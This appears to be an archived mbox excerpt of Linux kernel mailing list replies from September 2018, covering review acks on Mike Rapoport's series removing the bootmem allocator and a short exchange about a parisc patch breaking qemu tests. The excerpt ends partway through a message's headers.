Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g56FO-0004de-Ih
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:36:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727628AbeIZPu4 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:50:56 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:50472 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1726704AbeIZPu4 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:50:56 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 2872BAEB4;
        Wed, 26 Sep 2018 09:38:48 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-30-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882024 gmane.linux.kernel.mm:203974 gmane.linux.ports.alpha:5259 gmane.linux.ports.arm.kernel:676352 gmane.linux.ports.hexagon:1869 gmane.linux.ports.ia64:29285 gmane.linux.ports.mips.general:66859 gmane.linux.ports.parisc:29012 gmane.linux.ports.ppc64.devel:163057 gmane.linux.ports.riscv:901 gmane.linux.ports.sh.devel:57549 gmane.linux.kernel.arc:4456 gmane.linux.ports.sparc:28472
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882024>

On Fri 14-09-18 15:10:44, Mike Rapoport wrote:
> Move remaining definitions and declarations from include/linux/bootmem.h
> into include/linux/memblock.h and remove the redundant header.
> 
> The includes were replaced with the semantic patch below and then
> semi-automated removal of duplicated '#include <linux/memblock.h>
> 
> @@
> @@
> - #include <linux/bootmem.h>
> + #include <linux/memblock.h>
> 
> Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>

Acked-by: Michal Hocko <mhocko@suse.com>
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 00/30] mm: remove bootmem allocator
Date: Wed, 26 Sep 2018 11:41:54 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20180926094154.GT6278@dhcp22.suse.cz>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537954800 5311 195.159.176.226 (26 Sep 2018 09:40:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 09:40:00 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Mike Rapoport <rppt@linux.vnet.ibm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 11:39:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g56IR-0001Bo-Q7
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 11:39:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727398AbeIZPyG (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 11:54:06 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:51138 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1726702AbeIZPyG (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 11:54:06 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id BF672B110;
        Wed, 26 Sep 2018 09:41:56 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882027 gmane.linux.kernel.mm:203975 gmane.linux.ports.alpha:5260 gmane.linux.ports.arm.kernel:676353 gmane.linux.ports.hexagon:1870 gmane.linux.ports.ia64:29286 gmane.linux.ports.mips.general:66860 gmane.linux.ports.parisc:29013 gmane.linux.ports.ppc64.devel:163059 gmane.linux.ports.riscv:902 gmane.linux.ports.sh.devel:57550 gmane.linux.kernel.arc:4457 gmane.linux.ports.sparc:28473
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882027>

On Fri 14-09-18 15:10:15, Mike Rapoport wrote:
[...]
>  326 files changed, 866 insertions(+), 2539 deletions(-)
>  delete mode 100644 include/linux/bootmem.h
>  delete mode 100644 mm/bootmem.c
>  delete mode 100644 mm/nobootmem.c

I _really_ love this part the most! Not only we got rid of the
translation which always has been a headache but also this nicely shows
how having multiple allocators hurt. I believe further cleanups on top
will make the boot allocator even a place where you look and your eyes
do not want to jump out.

I have only went through patches without my acks from the previous
iteration and there are only minor comments. This looks good overall.

Nice work Mike!
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 02/30] mm: remove CONFIG_NO_BOOTMEM
Date: Wed, 26 Sep 2018 14:48:37 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <20180926114836.GD4628@rapoport-lnx>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-3-git-send-email-rppt@linux.vnet.ibm.com>
 <20180926092239.GK6278@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537962421 22231 195.159.176.226 (26 Sep 2018 11:47:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 11:47:01 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 13:46:53 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g58HM-0005ba-J4
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 13:46:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728192AbeIZSBg (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 14:01:36 -0400
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:55320 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1727747AbeIZSBg (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 14:01:36 -0400
Original-Received: from pps.filterd (m0098410.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w8QBlHP2057228
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 07:48:59 -0400
Original-Received: from e06smtp02.uk.ibm.com (e06smtp02.uk.ibm.com [195.75.94.98])
        by mx0a-001b2d01.pphosted.com with ESMTP id 2mr9hx02s0-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 07:48:59 -0400
Original-Received: from localhost
        by e06smtp02.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <rppt@linux.vnet.ibm.com>;
        Wed, 26 Sep 2018 12:48:56 +0100
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (9.149.109.194)
        by e06smtp02.uk.ibm.com (192.168.101.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Wed, 26 Sep 2018 12:48:43 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com [9.149.105.58])
        by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w8QBmgXg62259254
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Wed, 26 Sep 2018 11:48:42 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 71B3A4C052;
        Wed, 26 Sep 2018 14:48:26 +0100 (BST)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 2A3794C04E;
        Wed, 26 Sep 2018 14:48:23 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.8.124])
        by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Wed, 26 Sep 2018 14:48:23 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20180926092239.GK6278@dhcp22.suse.cz>
X-TM-AS-GCONF: 00
x-cbid: 18092611-0008-0000-0000-00000277423A
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18092611-0009-0000-0000-000021E0450D
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-09-26_06:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=970 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809260116
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882132 gmane.linux.kernel.mm:203982 gmane.linux.ports.alpha:5261 gmane.linux.ports.arm.kernel:676376 gmane.linux.ports.hexagon:1871 gmane.linux.ports.ia64:29287 gmane.linux.ports.mips.general:66863 gmane.linux.ports.parisc:29014 gmane.linux.ports.ppc64.devel:163067 gmane.linux.ports.riscv:903 gmane.linux.ports.sh.devel:57551 gmane.linux.kernel.arc:4458 gmane.linux.ports.sparc:28474
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882132>

On Wed, Sep 26, 2018 at 11:22:39AM +0200, Michal Hocko wrote:
> On Fri 14-09-18 15:10:17, Mike Rapoport wrote:
> > All achitectures select NO_BOOTMEM which essentially becomes 'Y' for any
> > kernel configuration and therefore it can be removed.
> 
> git grep suggests that DEFERRED_STRUCT_PAGE_INIT still depends on
> NO_BOOTMEM but I have a vague feeling that I've seen a patch to address
> that. It would be great to have it folded to this one.

Yes, Alexander has already fixed that at [1]

[1] https://lkml.org/lkml/2018/9/25/1073
 
> > Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
> 
> Acked-by: Michal Hocko <mhocko@suse.com>
> -- 
> Michal Hocko
> SUSE Labs
> 

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.ports.sparc
Subject: Re: [PATCH 03/30] mm: remove CONFIG_HAVE_MEMBLOCK
Date: Wed, 26 Sep 2018 14:54:05 +0300
Lines: 27
Approved: news@gmane.org
Message-ID: <20180926115404.GE4628@rapoport-lnx>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
 <1536927045-23536-4-git-send-email-rppt@linux.vnet.ibm.com>
 <20180926092404.GL6278@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1537962747 14076 195.159.176.226 (26 Sep 2018 11:52:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 11:52:27 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Zankel <chris@zankel.net>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Greentime Hu <green.hu@gmail.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Guan Xuetao <gxt@pku.edu.cn>, Ingo Molnar <mingo@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Jonas Bonn <jonas@southpole.se>,
        Jonathan Corbet <corbet@lwn.net>,
        Ley Foon Tan <lftan@altera.com>,
        Mark Salter <msalter@redhat.com>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Michal Simek <monstr@monstr.eu>,
        Palmer Dabbelt <palmer@sifive.com>,
        Paul Burton <p
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 13:52:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g58Mc-0003QC-4i
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 13:52:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728374AbeIZSHD (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 14:07:03 -0400
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:32898 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1727250AbeIZSHD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 14:07:03 -0400
Original-Received: from pps.filterd (m0098416.ppops.net [127.0.0.1])
        by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w8QBo5OZ124717
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 07:54:24 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
        by mx0b-001b2d01.pphosted.com with ESMTP id 2mr9301rpy-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Wed, 26 Sep 2018 07:54:24 -0400
Original-Received: from localhost
        by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <rppt@linux.vnet.ibm.com>;
        Wed, 26 Sep 2018 12:54:22 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
        by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Wed, 26 Sep 2018 12:54:11 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com [9.149.105.60])
        by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w8QBsA1r62718056
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Wed, 26 Sep 2018 11:54:10 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 1197342042;
        Wed, 26 Sep 2018 14:53:54 +0100 (BST)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id BB4F142045;
        Wed, 26 Sep 2018 14:53:50 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.8.124])
        by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Wed, 26 Sep 2018 14:53:50 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20180926092404.GL6278@dhcp22.suse.cz>
X-TM-AS-GCONF: 00
x-cbid: 18092611-0020-0000-0000-000002CBD081
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18092611-0021-0000-0000-00002119F202
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:,, definitions=2018-09-26_06:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=828 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809260117
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882136 gmane.linux.kernel.mm:203983 gmane.linux.ports.alpha:5262 gmane.linux.ports.arm.kernel:676377 gmane.linux.ports.hexagon:1872 gmane.linux.ports.ia64:29288 gmane.linux.ports.mips.general:66864 gmane.linux.ports.parisc:29015 gmane.linux.ports.ppc64.devel:163070 gmane.linux.ports.riscv:904 gmane.linux.ports.sh.devel:57552 gmane.linux.kernel.arc:4459 gmane.linux.ports.sparc:28475
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882136>

On Wed, Sep 26, 2018 at 11:24:04AM +0200, Michal Hocko wrote:
> On Fri 14-09-18 15:10:18, Mike Rapoport wrote:
> > All architecures use memblock for early memory management. There is no need
> > for the CONFIG_HAVE_MEMBLOCK configuration option.
> 
> git grep says
> arch/csky/Kconfig:  select HAVE_MEMBLOCK
 
Not only that, there are other bootmem leftovers in csky.
I've sent the patch with the necessary fixups [1]

[1] https://lkml.kernel.org/lkml/20180926112744.GC4628@rapoport-lnx/

> > Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
> 
> Other than that
> Acked-by: Michal Hocko <mhocko@suse.com>
> -- 
> Michal Hocko
> SUSE Labs
> 

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Remove PTE load and fault check from L2_ptep
 macro
Date: Wed, 26 Sep 2018 08:09:26 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <dcb9250d-f811-90be-2c5a-4d15cb29b474@bell.net>
References: <20180926032101.GA2458@roeck-us.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537964725 4095 195.159.176.226 (26 Sep 2018 12:25:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 12:25:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 14:25:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g58sZ-0007wk-UU
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 14:25:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727479AbeIZSkO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 14:40:14 -0400
Original-Received: from belmont94srvr.owm.bell.net ([184.150.200.94]:32916 "EHLO
        mtlfep07.bell.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726768AbeIZSkO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 14:40:14 -0400
X-Greylist: delayed 1083 seconds by postgrey-1.27 at vger.kernel.org; Wed, 26 Sep 2018 14:40:13 EDT
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180926120928.MUVD11841.mtlfep02.bell.net@mtlspm02.bell.net>;
          Wed, 26 Sep 2018 08:09:28 -0400
Original-Received: from [192.168.2.49] (really [70.53.62.196]) by mtlspm02.bell.net
          with ESMTP
          id <20180926120928.NLCF26679.mtlspm02.bell.net@[192.168.2.49]>;
          Wed, 26 Sep 2018 08:09:28 -0400
In-Reply-To: <20180926032101.GA2458@roeck-us.net>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=L+Xye6b8 c=1 sm=0 tr=0 a=Zvhif4XNTjWcJyJCfFIh1A==:17 a=IkcTkHD0fZMA:10 a=JBFolyDoGHsA:10 a=FBHGMhGWAAAA:8 a=WIMuH9iB4f1ny0LeIgcA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2882182 gmane.linux.ports.parisc:29016
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2882182>

Hi,

On 2018-09-25 11:21 PM, Guenter Roeck wrote:
> This patch causes my parisc qemu tests to fail.
> Unfortunately I don't have any useful log output; the failure
> is silent. Reverting the patch fixes the problem.
Can you be more specific on how to run these tests?

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:42:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Remove PTE load and fault check from L2_ptep
 macro
Date: Wed, 26 Sep 2018 06:29:55 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <4ac3d6fe-ef61-546d-e9fa-c8189edd288a@roeck-us.net>
References: <20180926032101.GA2458@roeck-us.net>
 <dcb9250d-f811-90be-2c5a-4d15cb29b474@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537968475 520 195.159.176.226 (26 Sep 2018 13:27:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Sep 2018 13:27:55 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: jejb@parisc-linux.org, Helge Deller <deller@gmx.de>,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 26 15:27:50 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g59r4-0008Rq-53
	for glk-linux-kernel-4@m.gmane.org; Wed, 26 Sep 2018 15:27:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728523AbeIZTm5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 26 Sep 2018 15:42:57 -0400
Original-Received: from mail-pl1-f195.google.com ([209.85.214.195]:34076 "EHLO
        mail-pl1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728463AbeIZTm5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Sep 2018 15:42:57 -0400
Original-Received: by mail-pl1-f195.google.com with SMTP id f18-v6so1101506plr.1;
        Wed, 26 Sep 2018 06:29:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:subject:to:cc:references:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-language:content-transfer-encoding;
